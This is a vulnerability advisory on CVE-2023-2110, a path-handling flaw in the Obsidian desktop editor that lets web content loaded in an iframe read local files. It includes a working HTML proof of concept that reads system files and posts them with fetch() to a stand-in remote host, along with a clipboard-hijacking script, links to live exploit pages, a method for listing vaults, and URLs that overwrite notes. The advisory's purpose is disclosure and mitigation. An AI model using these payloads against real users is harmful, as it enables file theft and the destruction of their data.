Summary:

Product Obsidian
Vendor Obsidian
Severity High
Affected Versions Obsidian < 1.2.8
Tested Versions Obsidian 1.1.16
CVE Identifier CVE-2023-2110
CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.
CWE Classification(s) CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
CAPEC Classification(s) CAPEC-597 Absolute Path Traversal

CVSS3.1 Scoring System:

Base Score: 8.2 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) None

Product Overview:

Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.

Obsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.

Vulnerability Summary:

There is a Local File Disclosure vulnerability in app://local/ in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.

Vulnerability Details:

In resources/app.asar/main.js, a custom URL scheme app:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax ![](img1.png) will be converted to HTML img tag <img src="app://local/C:/Users/cr/Documents/md/img1.png?1681587426400"> for preview:

The following code snippet is the function handling app:// :

let SCHEME = 'app';
let PROTOCOL = SCHEME + '://';
let APP_URL_ROOT = PROTOCOL + 'obsidian.md/';
let FILE_ROOT = PROTOCOL + 'local/';
// ...
protocol.registerFileProtocol('app', (req, callback) => {
    let url = req.url;
    let noframe = false;
    // ...
    if (url.indexOf(FILE_ROOT) === 0) {
        url = decodeURIComponent(url.substr(FILE_ROOT.length));
        if (!isWin) {
            url = '/' + url;
        }
        url = path.resolve(url);    // [1]
        // Disallow framing if the path is a UNC path
        if (isUncPath(url)) {
            noframe = true;
        }
    }

    // Don't allow iframes from different origins to access local files
    let referrer = req.referrer;
    if (referrer && referrer.indexOf(PROTOCOL) !== 0) {     // [2]
        noframe = true;
        url = '';
    }

    let headers = {};
    if (noframe) {
        headers['X-Frame-Options'] = 'DENY';
    }
    callback({ path: url, headers });
});

When the URL of a request starts with app://local/, the remainder of the URL is resolved by path.resolve as an absolute path at [1].

At [2], if the request comes with a referrer header and the value does not start with app://, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.

However, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to app://local/, which led to bypassing the referer check and disclosing the contents of any local files:

r = new XMLHttpRequest();
r.open('GET', 'app://local/C:/windows/win.ini');
r.addEventListener('load', e => {
    let result = e.currentTarget.responseText;
    console.log(result);
});
r.send();

Exploit Conditions:

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

<!DOCTYPE html>
<html lang="en">
<body>
<script>
    window.location = `data:text/html,<script>(${payload.toString()})()\x3c/script>`;

    function payload() {
        let filename = 'app://local/';
        if(navigator.platform === 'Win32'){
            filename += 'C:/Windows/win.ini';
        } else if(navigator.platform.startsWith('Linux')){
            filename += '/proc/self/root/etc/passwd'
        }
        let r = new XMLHttpRequest();
        r.open('GET', filename);
        r.addEventListener('load', e => {
            let result = e.currentTarget.responseText;
            console.log(result);
            confirm(result)
            fetch('http://example.localtest.me/send-file-to-attacker-server', {method: 'post', mode: 'no-cors', body: result})
        });
        r.send();
    }
</script>
</body>
</html>

Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Obsidian: <iframe src="http(s)://YOUR-WEB-SERVER/poc1.html"></iframe>. Once the PoC is loaded in the iframe, it will:

  1. Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux,
  2. Show the content of the file in a dialog,
  3. Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).

Note: A live version of poc1.html can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html

Attack Scenario:

Scenario 1: Open a malicious markdown file

An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.

Scenario 2: Copy and paste from a webpage

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script>
  document.addEventListener('copy',e=>{
    e.preventDefault();
    let payload = `<img src=")<iframe style='display:none' src='https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html'></iframe>![](">`;
    e.clipboardData.setData('text/html', payload + window.getSelection());
  })
</script>

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.

Note: A live version of copy-and-paste PoC can be found here.

Additional Notes:

  1. It is possible to add style="display:none" attribute to the iframe to make the exploit invisible.

  2. An attacker can get a list of recently opened vaults from:

    • app://local/proc/self/cwd/.config/obsidian/obsidian.json on Linux, or
    • app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json on Windows

    Then get a file list of each vault from app://local/PATH-TO-VAULT/.obsidian/workspace.json, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.

    An example of such exploit can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html

  3. Once the attacker obtained vault id from obsidian.json, it is possible to append arbitrary content to existing markdown files via obsidian://new.

    For example, executing location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&append=1&content=appended-content' will add “appended-content” at the end of Untitled.md in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.

    It is also possible for attacker to purge the files via the overwrite param: location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&overwrite=1&content=REMOVED'. This will seriously compromise the integrity of the user’s data.

Suggested Mitigations:

Prohibit http(s) webpages from accessing app:// resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the presence of iframe tags loading suspicious URLs in markdown files.

Credits:

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-04-28 Vendor Disclosure
  • 2023-05-03 Vendor Patch Release
  • 2023-08-19 Public Release